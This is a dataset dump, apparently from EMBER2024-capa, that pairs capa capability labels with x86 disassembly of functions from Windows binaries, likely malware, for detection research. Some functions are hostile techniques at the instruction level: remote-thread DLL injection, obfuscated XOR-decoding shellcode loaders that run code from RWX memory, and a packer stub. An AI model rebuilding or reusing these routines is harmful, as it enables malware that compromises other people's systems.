joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
mov dword [ebp - 0x84], 0x44
lea eax, [ebp - 0x80]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x40]
mov esi, 0x402128
lea edi, [ebp - 0x2c]
push 0xa
pop ecx
push eax
lea eax, [ebp - 0x84]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, str.MakingLovers_FD.dll
push 0x40
push 0x1000
push ebx
call esi
lea eax, [eax*2 + 1]
push eax
push 0
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push ebx
mov edi, eax
call esi
lea eax, [eax*2 + 1]
push eax
push ebx
push edi
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ebx, ebx
push ebx
push ebx
push edi
push str.LoadLibraryW
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push ebx
push ebx
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [ebp - 0x38]
push ebx
call dword [sym.imp.USER32.dll_GetTopWindow]
jmp 0x4010fc
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x4010f3
cmp dword [ebp - 0x30], edi
je 0x401104
push 2
push esi
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
test esi, esi
jne 0x4010dc
mov esi, ebx
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040111c
leave
ret
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000b431
pop dword [ebp - 0x3c]
mov eax, 0x4d6ec63a
add eax, 0xc291edf7
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x36a54
push 0
mov eax, 0x257e6ea0
add eax, 0xea825270
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x881bed53
sub ecx, 0x881ba786
mov esi, eax
mov edx, 0xc8f6f892
add edx, 0x470acd6e
add edx, dword [ebp - 0x3c]
mov edi, 0xd636f943
add edi, 0x54c50af9
sub dword [ebp - 0x38], eax
mov ebx, dword [edx]
add dword [ebp - 0x38], 0xe6d48df4
add ebx, edi
xor dword [ebp - 0x10], 0x47869c67
mov dword [esi], ebx
xor dword [ebp - 0x2c], ebx
add esi, 4
add edx, 4
loop 0x1000b490
add eax, 0x363ad147
add eax, 0xc9c638c0
xor ebx, ebx
add ebx, eax
add eax, 0xff1735bf
add eax, 0xe8ca46
mov ecx, 0xaf9315fb
add ecx, 0x606cea05
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40288e
pop dword [ebp - 0xc]
mov eax, 0x40288e
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x49ec40f3
add dword [ebp - 0x1c], 0x4660458
mov dword [ebp - 0x18], 0x676f078d
add dword [ebp - 0x18], 0xcac444b8
mov dword [ebp - 0x14], 0x85787144
add dword [ebp - 0x14], 0xc6d3d2ea
mov dword [ebp - 0x10], 0xff93cbb5
sub dword [ebp - 0x10], 0xff93cbb5
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x9fd8fafe
sub eax, 0x9f988a9a
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x5bb0821a
add dword [ebp - 0x1c], 0x18c1e73c
mov dword [ebp - 0x18], 0xdceef99e
sub dword [ebp - 0x18], 0x9b829829
mov dword [ebp - 0x14], 0x625b7d2a
sub dword [ebp - 0x14], 0xfeec10be
mov dword [ebp - 0x10], 0xe4f2b585
sub dword [ebp - 0x10], 0xe4f2b585
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xa6560cd1
sub eax, 0xa6159c29
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3bed6
push 0
call eax
mov ecx, 0x9af653d1
sub ecx, 0x9af5f67e
xor edi, edi
add edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0xc]
mov esi, 0x36318167
add esi, 0x7886e9eb
mov dword [ebp - 8], 0x1691c536
mov edx, dword [ebx]
xor dword [ebp - 4], 0x366528af
sub edx, esi
mov dword [ebp - 8], 0x9c6e399d
mov dword [edi], edx
sub dword [ebp - 8], 0x95ea11a5
add edi, 0xfff067a6
add edi, 0xf985e
add ebx, 0xf2368904
sub ebx, 0xf2368900
loop 0x4029a7
add eax, 0x1681f
xor ebx, ebx
add ebx, eax
add eax, 0xa6e246bc
add eax, 0x591db949
mov ecx, 0x99e6a88b
add ecx, 0x66595775
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00402767
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00402767
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00402767
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00402767
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00402767
mov dword [0x41203c], eax
call fcn.00402767
test eax, eax
jge 0x402550
push 8
call fcn.00402767
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00402767
pop ecx
push 1
call fcn.00402767
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00402767
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00402767
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00402767
jmp 0x402495

Function at 0x402767
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x402776
pop dword [ebp - 0xc]
mov eax, 0x3bb0bab
add eax, 0xfc851bcb
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x39b4e
push 0
mov eax, 0xaa73ae9a
sub eax, 0xaa32cdc2
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xce337ae9
sub ecx, 0xce33335c
xor edx, edx
add edx, eax
mov ebx, 0xdf580002
add ebx, 0x20e93bc2
add ebx, dword [ebp - 0xc]
mov edi, 0x336fec14
add edi, 0x8d6e9896
add dword [ebp - 4], 0xb48bcb76
mov esi, dword [ebx]
sub dword [ebp - 4], ebx
sub esi, edi
mov dword [edx], esi
xor dword [ebp - 8], esi
add edx, 4
add ebx, 0xe588664
add ebx, 0xf1a779a0
loop 0x4027d7
add eax, 0xe79e762
add eax, 0xf18729a5
xor ebx, ebx
add ebx, eax
add eax, 0x39c6228f
add eax, 0xc639dd76
mov ecx, 0x4c13d838
add ecx, 0xb42c27c8
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0xd83058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00d831a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xd8307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd8306a
add dl, dl
jne 0xd83089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd830dc
xor eax, eax
add dl, dl
jne 0xd83096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd8317d
add dl, dl
jne 0xd830a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd830b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd830bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd830c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xd830d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xd83075
mov eax, 1
add dl, dl
jne 0xd830ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd830f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd830e1
sub eax, ebx
mov ebx, 1
jne 0xd83128
mov ecx, 1
add dl, dl
jne 0xd8310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd83119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd83105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd83075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd8313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd8314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd83136
cmp eax, 0x7d00
jae 0xd8316d
cmp eax, 0x500
jb 0xd83168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd83075
cmp eax, 0x7f
ja 0xd83170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd83075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xd8319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xd83075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x7cba41d6
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x12f3a38
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x100072b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100072c6
pop dword [ebp - 0x20]
mov eax, 0xc21ef3c3
add eax, 0x4de17f03
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x3b83958e
sub dword [ebp - 0x30], 0xed315043
mov dword [ebp - 0x2c], 0xc33c1659
add dword [ebp - 0x2c], 0x6ef735ec
mov dword [ebp - 0x28], 0x78c82b04
add dword [ebp - 0x28], 0xd384192a
mov dword [ebp - 0x24], 0x2a6678a4
sub dword [ebp - 0x24], 0x2a6678a4
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xf93a09a0
add dword [ebp - 0x30], 0x7b385fb6
mov dword [ebp - 0x2c], 0x7f7ecfec
sub dword [ebp - 0x2c], 0x3e126e77
mov dword [ebp - 0x28], 0x838cb861
sub dword [ebp - 0x28], 0x201d4bf5
mov dword [ebp - 0x24], 0xed7062d9
add dword [ebp - 0x24], 0x128f9d27
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x1c9ed1bd
sub eax, 0xc9ec031
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3bedd
push 0
call eax
mov ecx, 0x4f7e
xor ebx, ebx
add ebx, eax
mov esi, 0x10010e00
add esi, dword [ebp - 0x20]
mov edi, 0x43bec598
sub edi, 0x10ba4e16
add dword [ebp - 0x18], 0x1ca86b36
mov edx, dword [esi]
mov dword [ebp - 8], 0x71c22cf3
xor edx, edi
sub dword [ebp - 8], 0xcb5f6f0b
mov dword [ebx], edx
xor dword [ebp - 0x1c], edx
add ebx, 4
add esi, 0x6c9f10f7
add esi, 0x9360ef0d
loop 0x100073d9
add eax, 0xcc95a300
sub eax, 0xcc947235
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb932a5e1
sub ecx, 0xa932a5e1
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1000a303
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10001464]
jne 0x1000a734
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1000e810], eax
mov dword [0x1000e80c], ecx
mov dword [0x1000e808], edx
mov dword [0x1000e804], ebx
mov dword [0x1000e800], esi
mov dword [0x1000e7fc], edi
mov word [0x1000e828], ss
mov word [0x1000e81c], cs
mov word [0x1000e7f8], ds
mov word [0x1000e7f4], es
mov word [0x1000e7f0], fs
mov word [0x1000e7ec], gs
pushfd
pop dword [0x1000e820]
mov eax, dword [ebp]
mov dword [0x1000e814], eax
mov eax, dword [ebp + 4]
mov dword [0x1000e818], eax
lea eax, [ebp + 8]
mov dword [0x1000e824], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1000e760], 0x10001
mov eax, dword [0x1000e818]
mov dword [0x1000e714], eax
mov dword [0x1000e708], 0xc0000409
mov dword [0x1000e70c], 1
mov eax, dword [0x10001464]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1000dc94]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1000e758], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x1000146c
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1000e758], 0
jne 0x1000a820
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x402ee4
pop dword [ebp - 0x1c]
mov eax, 0x402ee4
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xcf066031
sub dword [ebp - 0x2c], 0x80b41ae6
mov dword [ebp - 0x28], 0xaa4f673d
sub dword [ebp - 0x28], 0x781c1af8
mov dword [ebp - 0x24], 0x55791851
add dword [ebp - 0x24], 0xf6d32bdd
mov dword [ebp - 0x20], 0xe6678be7
add dword [ebp - 0x20], 0x19987419
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x642fb71d
add eax, 0x9c10c9e7
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x7336f65c
sub dword [ebp - 0x2c], 0xfec48d06
mov dword [ebp - 0x28], 0xac145986
add dword [ebp - 0x28], 0x955807ef
mov dword [ebp - 0x24], 0x18a2c9c2
add dword [ebp - 0x24], 0x4acca2aa
mov dword [ebp - 0x20], 0xed015d3a
add dword [ebp - 0x20], 0x12fea2c6
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x274d69d8
add eax, 0xd8f31728
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a26f
push 0
call eax
mov ecx, 0x5477
mov ebx, eax
mov edx, 0x46e400
add edx, dword [ebp - 0x1c]
mov edi, 0xa57d7f77
add edi, 0x22172657
mov esi, dword [edx]
xor esi, edi
add dword [ebp - 0xc], ebx
mov dword [ebx], esi
xor dword [ebp - 8], 0x38a12c20
add ebx, 0xca7b54e0
sub ebx, 0xca7b54dc
add edx, 0x94fc9168
add edx, 0x6b036e9c
loop 0x402ff5
add eax, 0xba8aa47
add eax, 0xf4589a68
mov ebx, eax
add eax, 0xd2e5171
sub eax, 0xd2e516c
mov ecx, 0x205a5ee0
sub ecx, 0x201a5ee0
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x406670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40667f
pop dword [ebp - 0x2c]
mov eax, 0x40667f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1b504aac
sub dword [ebp - 0x3c], 0xccfe0561
mov dword [ebp - 0x38], 0xcc1aa3de
add dword [ebp - 0x38], 0x6618a867
mov dword [ebp - 0x34], 0xf7a2b85
sub dword [ebp - 0x34], 0xc32de757
mov dword [ebp - 0x30], 0xc5a93660
add dword [ebp - 0x30], 0x3a56c9a0
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xacf20936
add eax, 0x534f276a
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xd7de29c0
add dword [ebp - 0x3c], 0x9c943f96
mov dword [ebp - 0x38], 0x32f442c4
add dword [ebp - 0x38], 0xe781eb1
mov dword [ebp - 0x34], 0xd722ec1b
sub dword [ebp - 0x34], 0x73b37faf
mov dword [ebp - 0x30], 0xc9b52535
add dword [ebp - 0x30], 0x364adacb
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x2257757c
add eax, 0xdde9bac0
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3de6e
push 0
call eax
mov ecx, 0x5515
mov esi, eax
mov edx, 0x8ecc47c2
add edx, 0x7175683e
add edx, dword [ebp - 0x2c]
mov edi, 0x2a7747ef
sub edi, 0x4cde7ecb
xor dword [ebp - 0x24], 0x8bf04092
mov ebx, dword [edx]
xor dword [ebp - 0x24], 0xe4738867
sub ebx, edi
mov dword [ebp - 0x20], 0x24de282
mov dword [esi], ebx
xor dword [ebp - 0xc], ebx
add esi, 0x20405669
add esi, 0xdfbfa99b
add edx, 0x743b18c9
add edx, 0x8bc4e73b
loop 0x406796
add eax, 0x1b5ad758
sub eax, 0x1b599031
mov ebx, eax
add eax, 0xfb78c656
sub eax, 0xfb78c651
mov ecx, 0xa10412c9
add ecx, 0x5f3bed37
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x10002600
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x10002631
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x10002620
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x1000f93c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000f97b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000f97b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000f97b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000f97b
cmp dword [ecx + 0x74], 0xe
jbe 0x1000f97b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10012d51
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10021728
push 0x10021720
push str.FlsAlloc
push 0x1f
call fcn.10012c19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012d85
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001e14c]
call esi
jmp 0x10012d8b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10012dcf
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10021738
push 0x10021730
push str.FlsGetValue
push 0x21
call fcn.10012c19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012e06
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001e14c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10012e0e
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10021740
push 0x10021738
push str.FlsSetValue
push 0x22
call fcn.10012c19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012e48
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001e14c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]